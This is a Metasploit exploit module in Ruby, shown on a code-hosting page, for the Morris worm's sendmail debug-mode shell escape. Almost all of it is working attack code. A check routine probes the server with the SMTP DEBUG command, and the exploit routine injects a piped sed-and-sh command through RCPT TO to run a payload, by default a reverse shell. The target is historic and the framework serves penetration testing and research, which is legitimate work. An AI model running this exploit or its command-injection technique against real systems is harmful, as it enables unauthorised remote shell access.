Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/unix/smtp/morris_sendmail_debug.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote67# cmd/unix/reverse spams the session with Telnet codes on EOF8Rank = AverageRanking910include Msf::Exploit::Remote::Tcp11include Msf::Exploit::Remote::Expect12prepend Msf::Exploit::Remote::AutoCheck1314def initialize(info = {})15super(update_info(info,16'Name' => 'Morris Worm sendmail Debug Mode Shell Escape',17'Description' => %q{18This module exploits sendmail's well-known historical debug mode to19escape to a shell and execute commands in the SMTP RCPT TO command.2021This vulnerability was exploited by the Morris worm in 1988-11-02.22Cliff Stoll reports on the worm in the epilogue of The Cuckoo's Egg.2324Currently, only cmd/unix/reverse and cmd/unix/generic are supported.25},26'Author' => [27'Robert Tappan Morris', # Exploit and worm for sure28'Cliff Stoll', # The Cuckoo's Egg inspiration29'wvu' # Module and additional research30],31'References' => [32['URL', 'https://en.wikipedia.org/wiki/Morris_worm'], # History33['URL', 'https://spaf.cerias.purdue.edu/tech-reps/823.pdf'], # Analysis34['URL', 'https://github.com/arialdomartini/morris-worm'], # Source35['URL', 'http://gunkies.org/wiki/Installing_4.3_BSD_on_SIMH'] # Setup36],37'DisclosureDate' => '1988-11-02',38'License' => MSF_LICENSE,39'Platform' => 'unix',40'Arch' => ARCH_CMD,41'Privileged' => false, # DefUid in src/conf.c, usually "daemon"42'Payload' => {'Compat' => {'RequiredCmd' => 'generic telnet'}},43'Targets' => [44# https://en.wikipedia.org/wiki/Source_Code_Control_System45['@(#)version.c 5.51 (Berkeley) 5/2/86', {}]46],47'DefaultTarget' => 0,48'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse'}49))5051register_options([Opt::RPORT(25)])5253register_advanced_options([54OptFloat.new('ExpectTimeout', [true, 'Timeout for Expect', 3.5])55])56end5758def check59checkcode = CheckCode::Safe6061connect62res = sock.get_once6364return CheckCode::Unknown unless res6566if res =~ /^220.*Sendmail/67checkcode = CheckCode::Detected68end6970sock.put("DEBUG\r\n")71res = sock.get_once7273return checkcode unless res7475if res.start_with?('200 Debug set')76checkcode = CheckCode::Appears77end7879checkcode80rescue EOFError, Rex::ConnectionError => e81vprint_error(e.message)82CheckCode::Unknown83ensure84disconnect85end8687def exploit88# We don't care who the user is, so randomize it89from = rand_text_alphanumeric(8..42)9091# Strip mail headers with sed(1), pass to sh(1), and ensure a clean exit92to = %("| sed '1,/^$/d' | sh; exit 0")9394# We don't have $PATH, so set one95path = '/bin:/usr/bin:/usr/ucb:/etc'9697sploit = {98nil => /220.*Sendmail/,99'DEBUG' => /200 Debug set/,100"MAIL FROM:<#{from}>" => /250.*Sender ok/,101"RCPT TO:<#{to}>" => /250.*Recipient ok/,102'DATA' => /354 Enter mail.*itself/,103# Indent PATH= so it's not interpreted as a mail header104" PATH=#{path}" => nil,105'export PATH' => nil,106payload.encoded => nil,107'.' => /250 Ok/,108'QUIT' => /221.*closing connection/109}110111print_status('Connecting to sendmail')112connect113114print_status('Enabling debug mode and sending exploit')115sploit.each do |line, pattern|116send_expect(117line,118pattern,119sock: sock,120timeout: datastore['ExpectTimeout'],121newline: "\r\n"122)123end124rescue Rex::ConnectionError => e125fail_with(Failure::Unreachable, e.message)126rescue Timeout::Error => e127fail_with(Failure::TimeoutExpired, e.message)128ensure129disconnect130end131132def on_new_session(session)133print_warning("Do NOT type `exit', or else you may lose further shells!")134print_warning('Hit ^C to abort the session instead, please and thank you')135end136137end138139140